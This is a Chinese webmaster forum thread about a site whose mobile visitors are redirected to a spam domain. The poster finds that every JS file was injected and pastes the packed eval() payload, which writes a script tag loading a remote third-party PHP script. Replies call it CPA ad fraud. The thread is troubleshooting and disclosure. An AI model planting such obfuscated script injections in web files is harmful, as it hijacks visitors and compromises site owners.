手机访问跳转到http://baidu-google-sogou-soso-360-qq.lrh6.com

521vps

电脑访问正常 电脑模拟手机访问正常  手机访问就跳到上面去了

排查工作量有点大 试了下360网站查杀 没查出来

目录搜索了一些关键字也找不到 应该是加密了 或者JS

大概查了下JS 文件也比较多，好像没问题

查了一下手机访问生成的静态文件 也没发现问题

这是什么鸟玩意 插到哪里了 有人遇到过么 怎么处理的 给点思路

QQ图片20150429204203.jpg (141.42 KB, 下载次数: 0)

2015-4-29 20:41 上传

点击文件名下载附件

hising

今天上1024部分帖子也是跳转到了这个地址

521vps

TMD的 找到了 所有JS 全部插了

1. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7.6("<0 8=\"a\" 9=\"2/1\" 3=\"5\" 4=\"h://g.i.k/j.c?b=d&f=e\"></0>")',21,21,'script|javascript|text|charset|src|gb2312|writeln|document|id|type|wf|l|php|tjq|1470|uid|app|http|adanzhuo|appiso|com'.split('|'),0,{}))

复制代码

oskey

做cpa的。好厉害

Feather

对，近来这种很多，都是手机访问跳到广告，在JS文件里，去混淆解密下就能看见地址了

mtx